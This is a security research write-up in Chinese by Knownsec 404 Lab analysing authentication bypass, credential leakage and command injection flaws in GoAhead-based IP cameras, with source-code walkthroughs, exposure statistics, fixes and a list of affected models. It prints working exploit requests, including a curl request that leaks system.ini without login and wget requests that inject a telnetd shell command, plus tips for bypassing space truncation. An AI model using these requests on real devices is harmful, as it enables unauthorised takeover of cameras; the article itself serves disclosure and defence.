抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析
Author :知道创宇404安全实验室
Date:2017年03月19日 (注:本文首发自 paper.seebug.org)
PDF 版本下载:抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析
一、漏洞背景
GoAhead作为世界上最受欢迎的嵌入式Web服务器被部署在数亿台设备中,是各种嵌入式设备与应用的理想选择。当然,各厂商也会根据不同产品需求对其进行一定程度的二次开发。
2017年3月7日,Seebug漏洞平台收录了一篇基于GoAhead系列摄像头的多个漏洞。事件源于Pierre Kim在博客上发表的一篇文章,披露了存在于1250多个摄像头型号的多个通用型漏洞。作者在文章中将其中一个验证绕过漏洞归类为GoAhead服务器漏洞,但事后证明,该漏洞却是由厂商二次开发GoAhead服务器产生。于此同时,Pierre Kim将其中两个漏洞组合使用,成功获取了摄像头的最高权限。
二、漏洞分析
当我们开始着手分析这些漏洞时发现GoAhead官方源码不存在该漏洞,解开的更新固件无法找到对应程序,一系列困难接踵而至。好在根据该漏洞特殊变量名称loginuse和loginpas,我们在github上找到一个上个月还在修改的门铃项目。抓着这个“新代码”的影子,我们不仅分析出了漏洞原理,还通过分析结果找到了关于此漏洞的新的利用方式。
由于该项目依赖的一些外部环境导致无法正常编译,我们仅仅通过静态代码分析得出结论,因此难免有所疏漏。如有错误,欢迎指正。:)
1. 验证绕过导致的信息(登录凭据)泄漏漏洞
|
1 |
作者给出POC: curl http://ip:port/system.ini?loginuse&loginpas |
根据作者给出的POC,我们进行了如下测试:

可以看出,只要url中含有loginuse和loginpas这两个值即无需验证。甚至当这两个值对应的账号密码为空或者为错误的zzzzzzzzzzzzzz时均可通过验证。
看到这里,我们大致可以判断出验证loginuse和loginpas的逻辑问题导致该漏洞的出现。于是,在此门铃项目中直接搜索loginuse定位到关键函数。
/func/ieparam.c第6407-6485行AdjustUserPri函数如下:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
unsigned char AdjustUserPri( char* url ) { int iRet; int iRet1; unsigned char byPri = 0; char loginuse[32]; char loginpas[32]; char decoderbuf[128]; char temp2[128]; memset( loginuse, 0x00, 32 ); memset( loginpas, 0x00, 32 ); memset( temp2, 0x00, 128 ); iRet = GetStrParamValue( url, "loginuse", temp2, 31 ); //判断是否存在loginuse值,并将获取到的值赋给temp2 if ( iRet == 0x00 ) { memset( decoderbuf, 0x00, 128 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 ); memset( loginuse, 0x00, 31 ); strcpy( loginuse, decoderbuf ); } //如果存在,则将temp2复制到loginuse数组中 memset( temp2, 0x00, 128 ); iRet1 = GetStrParamValue( url, "loginpas", temp2, 31 ); //判断是否存在loginpas值,并将获取到的值赋给temp2 if ( iRet1 == 0x00 ) { memset( decoderbuf, 0x00, 128 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 ); memset( loginpas, 0x00, 31 ); strcpy( loginpas, decoderbuf ); } //如果存在,则将temp2复制到loginpas数组中 if ( iRet == 0 ) { if ( iRet1 == 0x00 ) { //printf("user %s pwd:%s\n",loginuse,loginpas); byPri = GetUserPri( loginuse, loginpas ); //如果两次都获取到了对应的值,则通过GetUserPri进行验证。 return byPri; } } memset( loginuse, 0x00, 32 ); memset( loginpas, 0x00, 32 ); memset( temp2, 0x00, 128 ); iRet = GetStrParamValue( url, "user", temp2, 31 ); if ( iRet == 0x00 ) { memset( decoderbuf, 0x00, 128 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 ); memset( loginuse, 0x00, 31 ); strcpy( loginuse, decoderbuf ); } memset( temp2, 0x00, 128 ); iRet1 = GetStrParamValue( url, "pwd", temp2, 31 ); if ( iRet1 == 0x00 ) { memset( decoderbuf, 0x00, 128 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 ); memset( loginpas, 0x00, 31 ); strcpy( loginpas, decoderbuf ); } if ( iRet == 0 ) { if ( iRet1 == 0x00 ) { //printf("user %s pwd:%s\n",loginuse,loginpas); byPri = GetUserPri( loginuse, loginpas ); return byPri; } } //获取user和pwd参数,逻辑结构与上方的loginuse和loginpas相同。 return byPri; } |
我们对其中步骤做了注释,根据这段逻辑,我们先通过GetStrParamValue()获取loginuse和loginpas对应值,然后将获取值通过GetUserPri()函数进行验证。跟进GetStrParamValue()这个函数,我们发现了更奇怪的事情。command/cmd_thread.c中第13-51行GetStrParamValue()函数如下:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
//结合上面代码中的iRet = GetStrParamValue( url, "loginuse", temp2, 31 );审视这段代码 int GetStrParamValue( const char* pszSrc, const char* pszParamName, char* pszParamValue ) { const char* pos1, *pos = pszSrc; unsigned char len = 0; if ( !pszSrc || !pszParamName ) { return -1; } //判断url和需要查找的变量loginuse是否存在 pos1 = strstr( pos, pszParamName ); if ( !pos1 ) { return -1; } //由于url中含有loginuse,所以这里pos1可以取到对应的值,故不进入if(!pos1) pos = pos1 + strlen( pszParamName ) + 1; pos1 = strstr( pos, "&" ); if ( pos1 ) { memcpy( pszParamValue, pos, pos1 - pos ); //根据正常情况loginuse=admin&loginpas=xxx,这一段代码的逻辑是从loginuse后一位也就是等于号开始取值直到&号作为loginuse对应的值。 //根据作者的POC:loginuse&loginpas,最终这里pos应该位于pos1后一位,所以pos1-pos = -1 //memcpy( pszParamValue, pos, -1 );无法运行成功。 len = pos1 - pos; } else { pos1 = strstr( pos, " " ); if ( pos1 != NULL ) { memcpy( pszParamValue, pos, pos1 - pos ); len = pos1 - pos; } } return 0; //不论上述到底如何取值,最终都可以返回0 } |
根据作者给出的PoC,在memcpy()函数处会导致崩溃,但事实上,我们的web服务器正常运行并返回system.ini具体内容。这一点令我们百思不得其解。当我们对AdjustUserPri()函数向上溯源时终于弄清楚是上层代码问题导致代码根本无法运行到这里,所以也不会导致崩溃。 func/ieparam.c文件第7514-7543行调用了AdjustUserPri()函数:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
if ( auth == 0x00 ) { char temp[512]; int wlen = 0; if ( len ) { return 0; } #if 0 byPri = AdjustUserPri( url ); printf("url:%s byPri %d\n",url,byPri); if ( byPri == 0x00 ) { memset( temp, 0x00, 512 ); wlen += sprintf( temp + wlen, "var result=\"Auth Failed\";\r\n" ); memcpy( pbuf, temp, wlen ); return wlen; } #else byPri = 255; #endif } else { byPri = pri; } |
在之前跟GetUserPri()函数时有一行注释://result:0->error user or passwd error 1->vistor 2->opration 255->admin。当我们回头再看这段函数时,可以发现开发者直接将验证部分注释掉,byPri被直接赋值为255,这就意味着只要进入这段逻辑,用户权限就直接是管理员了。这里已经可以解释本小节开篇进行的测试,也就是为什么我们输入空的用户名和密码或者错误的用户名和密码也可以通过验证。
很遗憾,我们没有继续向上溯源找到这里的auth这个值到底是如何而来。不过根据这里的代码逻辑,我们可以猜测,当auth为0时,通过GET请求中的参数验证用户名密码。当auth不为0时,通过HTTP摘要验证方式来验证用户名密码。
再看一遍上方代码,GET请求中含有参数loginuse和loginpas就直接可以通过验证。那么AdjustUserPri()函数中另外两个具有相同逻辑的参数user和pwd呢?

成功抓住"新代码"的影子。
2. 远程命令执行漏洞一(需登录)
作者给出的exp如下:
|
1 2 |
user@kali$ wget -qO- 'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0' user@kali$ wget -qO- 'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin' |
可以看到,该exp分为两步,第一步先设置ftp各种参数,第二步按照第一步设置的各参数测试ftp链接,同时导致我们在第一步设置的命令被执行。
我们在func/ieparam.c文件中找到了set_ftp.cgi和ftptest.cgi的调用过程:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
383: pdst = strstr( pcmd, "ftptest.cgi" ); 384: 385: if ( pdst != NULL ) 386: { 387: return CGI_IESET_FTPTEST; 388: } 455: pdst = strstr( pcmd, "set_ftp.cgi" ); 456: 457: if ( pdst != NULL ) 458: { 459: return CGI_IESET_FTP; 460: } 7658: case CGI_IESET_FTPTEST: 7659: if ( len == 0x00 ) 7660: { 7661: iRet = cgisetftptest( pbuf, pparam, byPri ); 7662: } 7756: case CGI_IESET_FTP: 7757: if ( len == 0x00 ) 7758: { 7759: iRet = cgisetftp( pbuf, pparam, byPri ); 7760: NoteSaveSem(); 7761: } |
首先跟踪cgisetftp( pbuf, pparam, byPri );这个函数,我们发现,该函数仅仅是获取到我们请求的参数并将参数赋值给结构体中的各个变量。关键代码如下:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
//这部分代码可以不做细看,下一步我们进行ftp测试连接的时候对照该部分寻找对应的值就可以了。 iRet = GetStrParamValue( pparam, "svr", temp2, 63 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 ); strcpy( bparam.stFtpParam.szFtpSvr, decoderbuf ); GetIntParamValue( pparam, "port", &iValue ); bparam.stFtpParam.nFtpPort = iValue; iRet = GetStrParamValue( pparam, "user", temp2, 31 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 ); strcpy( bparam.stFtpParam.szFtpUser, decoderbuf ); memset( temp2, 0x00, 64 ); iRet = GetStrParamValue( pparam, "pwd", temp2, 31 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 ); strcpy( bparam.stFtpParam.szFtpPwd, decoderbuf ); //我们构造的命名被赋值给了参数bparam.stFtpParam.szFtpPwd iRet = GetStrParamValue( pparam, "dir", temp2, 31 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 ); strcpy( bparam.stFtpParam.szFtpDir, decoderbuf ); if(decoderbuf[0] == 0) { strcpy(bparam.stFtpParam.szFtpDir, "/" ); } GetIntParamValue( pparam, "mode", &iValue ); bparam.stFtpParam.byMode = iValue; GetIntParamValue( pparam, "upload_interval", &iValue ); bparam.stFtpParam.nInterTime = iValue; iRet = GetStrParamValue( pparam, "filename", temp1, 63 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 ); strcpy( bparam.stFtpParam.szFileName, decoderbuf ); |
综上所述,set_ftp.cgi仅仅是将我们请求的各参数写入全局变量中。 接下来是ftptest.cgi部分,也就是调用了iRet = cgisetftptest( pbuf, pparam, byPri );这个函数。在该函数中,最为关键的函数为DoFtpTest();。直接跳到func/ftp.c文件中找到函数DoFtpTest():
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
int DoFtpTest( void ) { int iRet = 0; iRet = FtpConfig( 0x01, NULL ); if ( iRet == 0 ) { char cmd[128]; memset(cmd, 0, 128); sprintf(cmd, "/tmp/ftpupdate1.sh > %s", FILE_FTP_TEST_RESULT); iRet = DoSystem(cmd); //iRet = DoSystem( "/tmp/ftpupdate1.sh > /tmp/ftpret.txt" ); } return iRet; } |
可以看到,执行 FtpConfig()函数后运行了/tmp/ftpupdate1.sh。我们先看 FtpConfig()函数如何处理该问题:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 |
int FtpConfig( char test, char* filename ) { ...... fp = fopen( "/tmp/ftpupdate1.sh", "wb" ); memset( cmd, 0x00, 128 ); sprintf( cmd, "/system/system/bin/ftp -n<<!\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); memset( cmd, 0x00, 128 ); sprintf( cmd, "open %s %d\n", bparam.stFtpParam.szFtpSvr, bparam.stFtpParam.nFtpPort ); fwrite( cmd, 1, strlen( cmd ), fp ); memset( cmd, 0x00, 128 ); sprintf( cmd, "user %s %s\n", bparam.stFtpParam.szFtpUser, bparam.stFtpParam.szFtpPwd ); fwrite( cmd, 1, strlen( cmd ), fp ); memset( cmd, 0x00, 128 ); sprintf( cmd, "binary\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); if ( bparam.stFtpParam.byMode == 1 ) //passive { memset( cmd, 0x00, 128 ); sprintf( cmd, "pass\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); } #ifdef CUSTOM_DIR char sub_temp[ 128 ]; memset(sub_temp, 0, 128); //strcpy(sub_temp, bparam.stFtpParam.szFtpDir); sprintf(sub_temp, "%s/%s", bparam.stFtpParam.szFtpDir,bparam.stIEBaseParam.dwDeviceID); flag = sub_dir(fp,sub_temp); if(flag){ memset( cmd, 0x00, 128 ); sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir ); fwrite( cmd, 1, strlen( cmd ), fp ); } #else memset( cmd, 0x00, 128 ); sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir ); fwrite( cmd, 1, strlen( cmd ), fp ); #endif memset( cmd, 0x00, 128 ); sprintf( cmd, "lcd /tmp\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); if ( test == 0x01 ) { FtpFileTest(); memset( cmd, 0x00, 128 ); sprintf( cmd, "put ftptest.txt\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); } else { char filename1[128]; memset( filename1, 0x00, 128 ); memcpy( filename1, filename + 5, strlen( filename ) - 5 ); memset( cmd, 0x00, 128 ); sprintf( cmd, "put %s\n", filename1 ); fwrite( cmd, 1, strlen( cmd ), fp ); } memset( cmd, 0x00, 128 ); sprintf( cmd, "close\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); memset( cmd, 0x00, 128 ); sprintf( cmd, "bye\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); memset( cmd, 0x00, 128 ); sprintf( cmd, "!\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); fclose( fp ); iRet = access( "/tmp/ftpupdate1.sh", X_OK ); if ( iRet ) { DoSystem( "chmod a+x /tmp/ftpupdate1.sh" ); } return 0; } |
至此,逻辑很清晰了。在FtpConfig()函数中,将我们之前在设置的时候输入的各个值写入了/tmp/ftpupdate1.sh中,然后在DoFtpTest()中运行该脚本,导致最后的命令执行。这一点,同样可以在漏洞作者原文中得到证明:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
作者原文中展示的/tmp/ftpupload.sh: / # cat /tmp/ftpupload.sh /bin/ftp -n<<! open 192.168.1.1 21 user ftp $(telnetd -l /bin/sh -p 25)ftp binary lcd /tmp put ftptest.txt close bye ! / # |
实际测试中,我们发现:如果直接用作者给出的exp去尝试RCE往往无法成功运行。从http://ip:port/get_params.cgi?user=username&pwd=password可以发现,我们注入的命令在空格处被截断。

于是我们用${IFS}替换空格(还可以采用+代替空格):

但由于有长度限制再次被截断,调整长度后最终成功执行命令:

成功抓住新代码的影子。
3. GoAhead绕过验证文件下载漏洞
2017年3月9日,Pierre Kim在文章中增加了两个链接,描述了一个GoAhead 2.1.8版本之前的任意文件下载漏洞。攻击者通过使用该漏洞,再结合一个新的远程命令执行漏洞可以再次获取摄像头的最高权限。有意思的是,这个漏洞早在2004年就已被提出并成功修复(http://aluigi.altervista.org/adv/goahead-adv2.txt)。但是由于众多摄像头仍然使用存在该漏洞的老代码,该漏洞仍然可以在众多摄像头设备中复现。
我们也查找了此门铃项目中的GoAhead服务器版本。web/release.txt前三行内容如下:
|
1 2 3 |
===================================== GoAhead WebServer 2.1.8 Release Notes ===================================== |
再仔细查看websUrlHandlerRequest()内容,发现并未对该漏洞进行修复,说明该漏洞也影响这个门铃项目。以此类推,本次受影响的摄像头应该也存在这个漏洞,果不其然:

那么,具体的漏洞成因又是如何呢?让我们来跟进./web/LINUX/main.c了解该漏洞的成因。 initWebs()函数中,关键代码如下:
|
1 2 3 4 5 6 7 8 9 10 11 |
154: umOpen(); 157: umAddGroup( T( "adm" ), 0x07, AM_DIGEST, FALSE, FALSE ); 159: umAddUser( admu, admp, T( "adm" ), FALSE, FALSE ); 160: umAddUser( "admin0", "admin0", T( "adm" ), FALSE, FALSE ); 161: umAddUser( "admin1", "admin1", T( "adm" ), FALSE, FALSE ); 162: umAddAccessLimit( T( "/" ), AM_DIGEST, FALSE, T( "adm" ) ); 224: websUrlHandlerDefine( T( "" ), NULL, 0, websSecurityHandler, WEBS_HANDLER_FIRST ); 227: websUrlHandlerDefine( T( "" ), NULL, 0, websDefaultHandler,WEBS_HANDLER_LAST ); |
其中,150-160中um开头的函数为用户权限控制的相关函数。主要做了以下四件事情:
1. umOpen() 打开用户权限控制;
2. umAddGroup() 增加用户组adm,并设置该用户组用户使用HTTP摘要认证方式登录;
3. umAddUser() 增加用户admin,admin0,admin1,并且这三个用户均属于adm用户组;
4. umAddAccessLimit() 增加限制路径/,凡是以/开头的路径都要通过HTTP摘要认证的方式登录属于adm组的用户。
紧接着,在220多行通过websUrlHandlerDefine()函数运行了两个Handler,websSecurityHandler和websDefaultHandler。在websSecurityHandler中,对HTTP摘要认证方式进行处理。关键代码如下:
|
1 2 3 4 5 6 7 8 |
86: accessLimit = umGetAccessLimit( path ); 115: am = umGetAccessMethodForURL( accessLimit ); 116: nRet = 0; 118-242: if ( ( flags & WEBS_LOCAL_REQUEST ) && ( debugSecurity == 0 ) ){……} 245: return nRet; |
第86行,umGetAccessLimit()函数用于将我们请求的路径规范化,主要逻辑就是去除路径最后的/或者\\,确保我们请求的是一个文件。umGetAccessMethodForURL()函数用于获取我们请求的路径对应的权限。这里,我们请求的路径是system.ini。根据上文,设置需要对/路径需要进行HTTP摘要认证,由于程序判断system.ini不属于/路径,所以这里am为默认的AM_INVALID,即无需验证。
紧接着向下,nRet初始化赋值为0.在118-242行中,如果出现了账号密码错误等情况,则会将nRet赋值为1,表示验证不通过。但是由于我们请求的路径无需验证,所以判断结束时nRet仍为0。因此,顺利通过验证,获取到对应的文件内容。
就这样,我们再次抓住了这个“新代码”的影子。这个2004年的漏洞让我们不得不为新代码这三个字加上了双引号。
4. 远程命令执行漏洞二(需登录)
在Pierre Kim新增的两个链接中,还介绍了一种新的远程命令执行的方式,即通过set_mail.cgi和mailtest.cgi来执行命令。 与上一个远程命令执行漏洞一样,我们先在func/ieparam.c文件中找到set_mail.cgi和mailtest.cgi的调用过程:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
257: pdst = strstr( pcmd, "set_mail.cgi" ); 258: 259: if ( pdst != NULL ) 260: { 261: return CGI_IESET_MAIL; 262: } 348: pdst = strstr( pcmd, "mailtest.cgi" ); 349: 350: if ( pdst != NULL ) 351: { 352: return CGI_IESET_MAILTEST; 353:} 7674: case CGI_IESET_MAILTEST: 7675: if ( len == 0x00 ) 7676: { 7677: iRet = cgisetmailtest( pbuf, pparam, byPri ); 7678: } 7679: 7680: break; 7746: case CGI_IESET_MAIL: 7747: if ( len == 0x00 ) 7748: { 7749: iRet = cgisetmail( pbuf, pparam, byPri ); 7750: IETextout( "-------------OK--------" ); 7751: NoteSaveSem(); 7752: } 7753: 7754: break; |
与上一个远程命令执行漏洞类似,cgisetmail()函数用于将各参数储存到结构体,例如sender参数赋值给bparam.stMailParam.szSender、receiver1参数赋值给bparam.stMailParam.szReceiver1。 接着,来到了cgisetmailtest()函数:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
int cgisetmailtest( unsigned char* pbuf, char* pparam, unsigned char byPri ) { unsigned char temp[2048]; int len = 0; int result = 0; char nexturl[64]; int iRet = 0; memset( temp, 0x00, 2048 ); //iRet = DoMailTest(); if(iRet == 0) { IETextout("Mail send over, OK or Not"); } /* END: Added by Baggio.wu, 2013/10/25 */ memset( nexturl, 0x00, 64 ); iRet = GetStrParamValue( pparam, "next_url", nexturl, 63 ); if ( iRet == 0x00 ) { #if 1 len += RefreshUrl( temp + len, nexturl ); #endif memcpy( pbuf, temp, len ); } else { len += sprintf( temp + len, "var result=\"ok\";\r\n" ); memcpy( pbuf, temp, len ); } printf( "sendmail len:%d\n", len ); return len; } |
该函数第十行已被注释掉。这是使用此函数发送邮件证据的唯一可寻之处。虽然被注释掉了,我们也要继续跟踪DoMailTest()这个函数:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
int DoMailTest( void ) //email test { int iRet = -1; char cmd[256]; if ( bparam.stMailParam.szSender[0] == 0 ) { return -1; } if ( bparam.stMailParam.szReceiver1[0] != 0x00 ) { iRet = EmailConfig(); if ( iRet ) { return -1; } memset( cmd, 0x00, 256 ); /* BEGIN: Modified by Baggio.wu, 2013/9/9 */ sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s", bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 ); //sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -v -s \"mail test\" %s", // bparam.stMailParam.szReceiver1 ); printf( "start cmd:%s\n", cmd ); EmailWrite( cmd, strlen( cmd ) ); //emailtest(); printf( "cmd:%s\n", cmd ); } return iRet; } |
可以看到sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s",bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 ),发件人和收件人都直接被拼接成命令导致最后的命令执行。
三、漏洞影响范围
ZoomEye网络空间探测引擎探测结果显示,全球范围内共查询到78万条历史记录。我们根据这78万条结果再次进行探测,发现这些设备一共存在三种情况:
- 第一种是设备不存在漏洞。
- 第二种是设备存在验证绕过漏洞,由于
web目录下无system.ini,导致最终无法被利用。可以看到,当我们直接请求system.ini时显示需要认证,但当我们绕过验证之后却显示404 not found。
- 最后一种是设备既存在验证绕过漏洞,又存在
system.ini文件。这些设备就存在被入侵的风险。
我们统计了最后一种设备的数量。数据显示有近7万的设备存在被入侵的风险。这7万设备的国家分布图如下:

可以看出,美国、中国、韩国、法国、日本均属于重灾区。我国一共有 7000 多台设备可能被入侵,其中近 6000 台位于香港。我们根据具体数据做成两张柱状图以便查看:


(注:None为属于中国,但未解析出具体地址的IP)
我们通过查询ZoomEye网络空间探测引擎历史记录导出2016年1月1日、2017年1月1日以及本报告编写日期2017年3月14日三个时间点的数据进行分析。
在这三个时间点,我们分别收录了banner中含有GoAhead 5ccc069c403ebaf9f0171e9517f40e41的设备26万台、65万台和78万台。

但对于这些IP而言,存在漏洞的设备增长趋势却完全不同。

可以看到,2016年1月1日已探明的设备中目前仅有2000多台存在漏洞,2017年1月1日之前探明的设备中有近3万台存在漏洞,截至仅仅两个多月后的今天,已有近7万台设备存在漏洞。
根据以上数据,我们可以做出如下判断:该漏洞出现时间大约是去年,直到今年被曝光之后才被大家所关注。在此期间,旧摄像头通过更新有漏洞固件的方式导致该漏洞的出现,而那些新生产的摄像头则被销往世界各地。根据今年新增IP地理位置,我们可以大致判断出这些存在漏洞的摄像头今年被销往何地。

根据数据,我们可以看到,主要销往美国、中国、韩国、日本。中国新增了5316台存在漏洞的摄像头,其中4000多台位于香港。
四、修复方案
1.将存在漏洞的摄像头设备置于内网。
2.及时升级到最新固件。
3.对于可能被感染的设备,可以采取重启的方式来杀死驻留在内存中的恶意进程。
五、参考链接
- https://www.seebug.org/vuldb/ssvid-92789
- https://www.seebug.org/vuldb/ssvid-92748
- https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
- https://github.com/kuangxingyiqing/bell-jpg
- http://aluigi.altervista.org/adv/goahead-adv2.txt
附录:Pierre Kim给出的受影响设备列表
| 3G+IPCam Other |
| 3SVISION Other |
| 3com CASA |
| 3com Other |
| 3xLogic Other |
| 3xLogic Radio |
| 4UCAM Other |
| 4XEM Other |
| 555 Other |
| 7Links 3677 |
| 7Links 3677-675 |
| 7Links 3720-675 |
| 7Links 3720-919 |
| 7Links IP-Cam-in |
| 7Links IP-Wi-Fi |
| 7Links IPC-760HD |
| 7Links IPC-770HD |
| 7Links Incam |
| 7Links Other |
| 7Links PX-3615-675 |
| 7Links PX-3671-675 |
| 7Links PX-3720-675 |
| 7Links PX3309 |
| 7Links PX3615 |
| 7Links ipc-720 |
| 7Links px-3675 |
| 7Links px-3719-675 |
| 7Links px-3720-675 |
| A4Tech Other |
| ABS Other |
| ADT RC8021W |
| AGUILERA AQUILERA |
| AJT AJT-019129-BBCEF |
| ALinking ALC |
| ALinking Other |
| ALinking dax |
| AMC Other |
| ANRAN ip180 |
| APKLINK Other |
| AQUILA AV-IPE03 |
| AQUILA AV-IPE04 |
| AVACOM 5060 |
| AVACOM 5980 |
| AVACOM H5060W |
| AVACOM NEW |
| AVACOM Other |
| AVACOM h5060w |
| AVACOM h5080w |
| Acromedia IN-010 |
| Acromedia Other |
| Advance Other |
| Advanced+home lc-1140 |
| Aeoss J6358 |
| Aetos 400w |
| Agasio A500W |
| Agasio A502W |
| Agasio A512 |
| Agasio A533W |
| Agasio A602W |
| Agasio A603W |
| Agasio Other |
| AirLink Other |
| Airmobi HSC321 |
| Airsight Other |
| Airsight X10 |
| Airsight X34A |
| Airsight X36A |
| Airsight XC39A |
| Airsight XX34A |
| Airsight XX36A |
| Airsight XX40A |
| Airsight XX60A |
| Airsight x10 |
| Airsight x10Airsight |
| Airsight xc36a |
| Airsight xc49a |
| Airsight xx39A |
| Airsight xx40a |
| Airsight xx49a |
| Airsight xx51A |
| Airsight xx51a |
| Airsight xx52a |
| Airsight xx59a |
| Airsight xx60a |
| Akai AK7400 |
| Akai SP-T03WP |
| Alecto 150 |
| Alecto Atheros |
| Alecto DVC-125IP |
| Alecto DVC-150-IP |
| Alecto DVC-1601 |
| Alecto DVC-215IP |
| Alecto DVC-255-IP |
| Alecto dv150 |
| Alecto dvc-150ip |
| Alfa 0002HD |
| Alfa Other |
| Allnet 2213 |
| Allnet ALL2212 |
| Allnet ALL2213 |
| Amovision Other |
| Android+IP+cam IPwebcam |
| Anjiel ip-sd-sh13d |
| Apexis AH9063CW |
| Apexis APM-H803-WS |
| Apexis APM-H804-WS |
| Apexis APM-J011 |
| Apexis APM-J011-Richard |
| Apexis APM-J011-WS |
| Apexis APM-J012 |
| Apexis APM-J012-WS |
| Apexis APM-J0233 |
| Apexis APM-J8015-WS |
| Apexis GENERIC |
| Apexis H |
| Apexis HD |
| Apexis J |
| Apexis Other |
| Apexis PIPCAM8 |
| Apexis Pyle |
| Apexis XF-IP49 |
| Apexis apexis |
| Apexis apm- |
| Apexis dealextreme |
| Aquila+Vizion Other |
| Area51 Other |
| ArmorView Other |
| Asagio A622W |
| Asagio Other |
| Asgari 720U |
| Asgari Other |
| Asgari PTG2 |
| Asgari UIR-G2 |
| Atheros ar9285 |
| AvantGarde SUMPPLE |
| Axis 1054 |
| Axis 241S |
| B-Qtech Other |
| B-Series B-1 |
| BRAUN HD-560 |
| BRAUN HD505 |
| Beaulieu Other |
| Bionics Other |
| Bionics ROBOCAM |
| Bionics Robocam |
| Bionics T6892WP |
| Bionics t6892wp |
| Black+Label B2601 |
| Bravolink Other |
| Breno Other |
| CDR+king APM-J011-WS |
| CDR+king Other |
| CDR+king SEC-015-C |
| CDR+king SEC-016-NE |
| CDR+king SEC-028-NE |
| CDR+king SEC-029-NE |
| CDR+king SEC-039-NE |
| CDR+king sec-016-ne |
| CDXX Other |
| CDXXcamera Any |
| CP+PLUS CP-EPK-HC10L1 |
| CPTCAM Other |
| Camscam JWEV-372869-BCBAB |
| Casa Other |
| Cengiz Other |
| Chinavasion Gunnie |
| Chinavasion H30 |
| Chinavasion IP611W |
| Chinavasion Other |
| Chinavasion ip609aw |
| Chinavasion ip611w |
| Cloud MV1 |
| Cloud Other |
| CnM IP103 |
| CnM Other |
| CnM sec-ip-cam |
| Compro NC150/420/500 |
| Comtac CS2 |
| Comtac CS9267 |
| Conceptronic CIPCAM720PTIWL |
| Conceptronic cipcamptiwl |
| Cybernova Other |
| Cybernova WIP604 |
| Cybernova WIP604MW |
| D-Link DCS-910 |
| D-Link DCS-930L |
| D-Link L-series |
| D-Link Other |
| DB+Power 003arfu |
| DB+Power DBPOWER |
| DB+Power ERIK |
| DB+Power HC-WV06 |
| DB+Power HD011P |
| DB+Power HD012P |
| DB+Power HD015P |
| DB+Power L-615W |
| DB+Power LA040 |
| DB+Power Other |
| DB+Power Other2 |
| DB+Power VA-033K |
| DB+Power VA0038K |
| DB+Power VA003K+ |
| DB+Power VA0044_M |
| DB+Power VA033K |
| DB+Power VA033K+ |
| DB+Power VA035K |
| DB+Power VA036K |
| DB+Power VA038 |
| DB+Power VA038k |
| DB+Power VA039K |
| DB+Power VA039K-Test |
| DB+Power VA040 |
| DB+Power VA390k |
| DB+Power b |
| DB+Power b-series |
| DB+Power extcams |
| DB+Power eye |
| DB+Power kiskFirstCam |
| DB+Power va033k |
| DB+Power va039k |
| DB+Power wifi |
| DBB IP607W |
| DEVICECLIENTQ CNB |
| DKSEG Other |
| DNT CamDoo |
| DVR DVR |
| DVS-IP-CAM Other |
| DVS-IP-CAM Outdoor/IR |
| Dagro DAGRO-003368-JLWYX |
| Dagro Other |
| Dericam H216W |
| Dericam H502W |
| Dericam M01W |
| Dericam M2/6/8 |
